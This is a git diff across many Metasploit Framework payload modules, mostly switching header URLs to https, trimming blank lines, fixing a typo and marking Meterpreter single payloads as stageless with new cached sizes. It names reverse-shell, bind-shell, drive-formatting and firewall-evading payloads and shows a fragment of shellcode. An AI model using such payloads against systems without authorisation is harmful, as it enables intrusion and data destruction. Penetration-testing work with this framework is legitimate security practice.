index 0b60c0cb24..62c8d60585 100644
--- a/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
+++ b/modules/payloads/singles/solaris/x86/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -83,5 +83,4 @@ module MetasploitModule
             "\xff\xd6"              #   call    *%esi                      #
         }))
   end
-
 end
diff --git a/modules/payloads/singles/solaris/x86/shell_find_port.rb b/modules/payloads/singles/solaris/x86/shell_find_port.rb
index ee77e80802..fcab75adbd 100644
--- a/modules/payloads/singles/solaris/x86/shell_find_port.rb
+++ b/modules/payloads/singles/solaris/x86/shell_find_port.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -81,5 +81,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb
index c8cc80b649..b1b0c32ce8 100644
--- a/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/solaris/x86/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -80,5 +80,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/tty/unix/interact.rb b/modules/payloads/singles/tty/unix/interact.rb
index 7a86320a28..43bcd45131 100644
--- a/modules/payloads/singles/tty/unix/interact.rb
+++ b/modules/payloads/singles/tty/unix/interact.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/find_tty'
 require 'msf/base/sessions/command_shell'
 
@@ -31,5 +30,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/adduser.rb b/modules/payloads/singles/windows/adduser.rb
index 972ad9939e..fc35d566ee 100644
--- a/modules/payloads/singles/windows/adduser.rb
+++ b/modules/payloads/singles/windows/adduser.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/payload/windows/exec'
 
 
diff --git a/modules/payloads/singles/windows/dns_txt_query_exec.rb b/modules/payloads/singles/windows/dns_txt_query_exec.rb
index 1b78a24100..4d99117f2e 100644
--- a/modules/payloads/singles/windows/dns_txt_query_exec.rb
+++ b/modules/payloads/singles/windows/dns_txt_query_exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb
index 041a9e7f1e..466683b170 100644
--- a/modules/payloads/singles/windows/download_exec.rb
+++ b/modules/payloads/singles/windows/download_exec.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 module MetasploitModule
 
   CachedSize = 423
diff --git a/modules/payloads/singles/windows/exec.rb b/modules/payloads/singles/windows/exec.rb
index 567eeb7f1a..753f0fff56 100644
--- a/modules/payloads/singles/windows/exec.rb
+++ b/modules/payloads/singles/windows/exec.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/format_all_drives.rb b/modules/payloads/singles/windows/format_all_drives.rb
index 82efda80be..83c2c83a7e 100644
--- a/modules/payloads/singles/windows/format_all_drives.rb
+++ b/modules/payloads/singles/windows/format_all_drives.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/loadlibrary.rb b/modules/payloads/singles/windows/loadlibrary.rb
index 3f708ad2d4..c239eda0a1 100644
--- a/modules/payloads/singles/windows/loadlibrary.rb
+++ b/modules/payloads/singles/windows/loadlibrary.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/messagebox.rb b/modules/payloads/singles/windows/messagebox.rb
index 5fdf6268b3..6009459c40 100644
--- a/modules/payloads/singles/windows/messagebox.rb
+++ b/modules/payloads/singles/windows/messagebox.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 module MetasploitModule
 
   CachedSize = 272
@@ -296,5 +294,4 @@ EOS
 
     pushes
   end
-
 end
diff --git a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
index 443e8314bf..4aa49bfccd 100644
--- a/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 957487
+  CachedSize = 179267
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_bind_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,6 +65,5 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
index fbff461758..12cb6341e7 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 958531
+  CachedSize = 180311
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_http(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,5 +65,4 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
index 5b5a0cafe0..539bfd288f 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 958531
+  CachedSize = 180311
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_https(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
index 087ebad8c3..23d9de6df9 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 957487
+  CachedSize = 179267
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -56,7 +56,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_ipv6_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -65,6 +66,5 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
diff --git a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
index e016717971..256f5b6225 100644
--- a/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 957487
+  CachedSize = 179267
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,6 +65,5 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
diff --git a/modules/payloads/singles/windows/metsvc_bind_tcp.rb b/modules/payloads/singles/windows/metsvc_bind_tcp.rb
index 04d778b7fc..6a92483986 100644
--- a/modules/payloads/singles/windows/metsvc_bind_tcp.rb
+++ b/modules/payloads/singles/windows/metsvc_bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb
index 212b079497..719df9ef0e 100644
--- a/modules/payloads/singles/windows/metsvc_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/metsvc_reverse_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/reverse_tcp'
 require 'msf/base/sessions/meterpreter_x86_win'
 require 'msf/base/sessions/meterpreter_options'
@@ -33,5 +32,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/powershell_bind_tcp.rb b/modules/payloads/singles/windows/powershell_bind_tcp.rb
index 8832572a19..11f02de01b 100644
--- a/modules/payloads/singles/windows/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/powershell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/powershell_reverse_tcp.rb
index 7a8b0031cc..5d40acd53f 100644
--- a/modules/payloads/singles/windows/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/powershell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/shell_bind_tcp.rb b/modules/payloads/singles/windows/shell_bind_tcp.rb
index 18867c9b4a..739b6ecd09 100644
--- a/modules/payloads/singles/windows/shell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -57,5 +57,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb
index 088bd61b40..3a6649c852 100644
--- a/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb
+++ b/modules/payloads/singles/windows/shell_bind_tcp_xpfw.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -85,5 +85,4 @@ module MetasploitModule
     end
     return false
   end
-
 end
diff --git a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
index 72bde4c61e..de8c4d1e0e 100644
--- a/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
+++ b/modules/payloads/singles/windows/shell_hidden_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -20,7 +20,7 @@ module MetasploitModule
       'Name'          => 'Windows Command Shell, Hidden Bind TCP Inline',
       'Description'   => 'Listen for a connection from certain IP and spawn a command shell.
                           The shellcode will reply with a RST packet if the connections is not
-                          comming from the IP defined in AHOST. This way the port will appear
+                          coming from the IP defined in AHOST. This way the port will appear
                           as "closed" helping us to hide the shellcode.',
       'Author'        =>
         [
@@ -75,6 +75,5 @@ module MetasploitModule
       OptAddress.new('AHOST', [true, "IP address allowed", nil])
     ])
   end
-
 end
 
diff --git a/modules/payloads/singles/windows/shell_reverse_tcp.rb b/modules/payloads/singles/windows/shell_reverse_tcp.rb
index 73acda04be..27abd762ae 100644
--- a/modules/payloads/singles/windows/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -58,5 +58,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/speak_pwned.rb b/modules/payloads/singles/windows/speak_pwned.rb
index 0287f363e5..b33ff043fd 100644
--- a/modules/payloads/singles/windows/speak_pwned.rb
+++ b/modules/payloads/singles/windows/speak_pwned.rb
@@ -1,11 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 =begin
 
-http://www.exploit-db.com/sploits/w32-speaking-shellcode.zip
+https://www.exploit-db.com/sploits/w32-speaking-shellcode.zip
 
 Copyright (c) 2009-2010 Berend-Jan "SkyLined" Wever <berendjanwever@gmail.com>
 All rights reserved.
@@ -84,5 +84,4 @@ module MetasploitModule
     # EXITFUNC is not supported :/
     deregister_options('EXITFUNC')
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/exec.rb b/modules/payloads/singles/windows/x64/exec.rb
index 1db7f24d3b..bdeb2d5efc 100644
--- a/modules/payloads/singles/windows/x64/exec.rb
+++ b/modules/payloads/singles/windows/x64/exec.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 module MetasploitModule
 
   CachedSize = 275
@@ -59,5 +57,4 @@ module MetasploitModule
   def command_string
     return datastore['CMD'] || ''
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/loadlibrary.rb b/modules/payloads/singles/windows/x64/loadlibrary.rb
index 76bd3fa4dd..a161d9c591 100644
--- a/modules/payloads/singles/windows/x64/loadlibrary.rb
+++ b/modules/payloads/singles/windows/x64/loadlibrary.rb
@@ -1,10 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
-
 module MetasploitModule
 
   CachedSize = 313
@@ -63,5 +61,4 @@ module MetasploitModule
   def dll_string
     return datastore['DLL'] || ''
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
index 817523d397..058078b353 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 1189423
+  CachedSize = 205379
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_bind_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,7 +65,6 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
 
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
index a81a801839..0398f24b52 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 1190467
+  CachedSize = 206423
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_http(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,5 +65,4 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
index d8b2843047..5679a3a8be 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 1190467
+  CachedSize = 206423
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_https(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,5 +65,4 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
index 10b0fcb25e..bb151559da 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_ipv6_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 1189423
+  CachedSize = 205379
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -56,7 +56,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_ipv6_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -65,7 +66,6 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
 
diff --git a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
index 1879ffbb82..337ebe2c73 100644
--- a/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/meterpreter_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -12,7 +12,7 @@ require 'rex/payloads/meterpreter/config'
 
 module MetasploitModule
 
-  CachedSize = 1189423
+  CachedSize = 205379
 
   include Msf::Payload::TransportConfig
   include Msf::Payload::Windows
@@ -55,7 +55,8 @@ module MetasploitModule
       uuid:       opts[:uuid],
       transports: [transport_config_reverse_tcp(opts)],
       extensions: (datastore['EXTENSIONS'] || '').split(','),
-      ext_init:   (datastore['EXTINIT'] || '')
+      ext_init:   (datastore['EXTINIT'] || ''),
+      stageless:  true
     }
 
     # create the configuration instance based off the parameters
@@ -64,6 +65,5 @@ module MetasploitModule
     # return the binary version of it
     config.to_b
   end
-
 end
 
diff --git a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
index ace33f1d13..de93ac18c5 100644
--- a/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/powershell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
index 60f572b724..d46650b93e 100644
--- a/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/powershell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb
index b63ece3258..eff3b868ad 100644
--- a/modules/payloads/singles/windows/x64/shell_bind_tcp.rb
+++ b/modules/payloads/singles/windows/x64/shell_bind_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -68,5 +68,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb
index 7a10e8420d..4650d9c16b 100644
--- a/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb
+++ b/modules/payloads/singles/windows/x64/shell_reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -66,5 +66,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/android/reverse_http.rb b/modules/payloads/stagers/android/reverse_http.rb
index b685cc6f81..d5c8071385 100644
--- a/modules/payloads/stagers/android/reverse_http.rb
+++ b/modules/payloads/stagers/android/reverse_http.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/android/reverse_https.rb b/modules/payloads/stagers/android/reverse_https.rb
index d0d1948c3d..a409100aba 100644
--- a/modules/payloads/stagers/android/reverse_https.rb
+++ b/modules/payloads/stagers/android/reverse_https.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/android/reverse_tcp.rb b/modules/payloads/stagers/android/reverse_tcp.rb
index b01355b61e..c1c7008e65 100644
--- a/modules/payloads/stagers/android/reverse_tcp.rb
+++ b/modules/payloads/stagers/android/reverse_tcp.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
diff --git a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb
index e2a4a1d96b..e3141df327 100644
--- a/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb
+++ b/modules/payloads/stagers/bsd/x86/bind_ipv6_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -48,5 +47,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/bsd/x86/bind_tcp.rb b/modules/payloads/stagers/bsd/x86/bind_tcp.rb
index f10de07f4a..2952f6c2d0 100644
--- a/modules/payloads/stagers/bsd/x86/bind_tcp.rb
+++ b/modules/payloads/stagers/bsd/x86/bind_tcp.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/bind_tcp'
 
 
@@ -44,5 +43,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
diff --git a/modules/payloads/stagers/bsd/x86/find_tag.rb b/modules/payloads/stagers/bsd/x86/find_tag.rb
index 42528b54e9..63e79c0016 100644
--- a/modules/payloads/stagers/bsd/x86/find_tag.rb
+++ b/modules/payloads/stagers/bsd/x86/find_tag.rb
@@ -1,9 +1,8 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
-
 require 'msf/core/handler/find_tag'
 
 
@@ -43,5 +42,4 @@ module MetasploitModule
         }
       ))
   end
-
 end
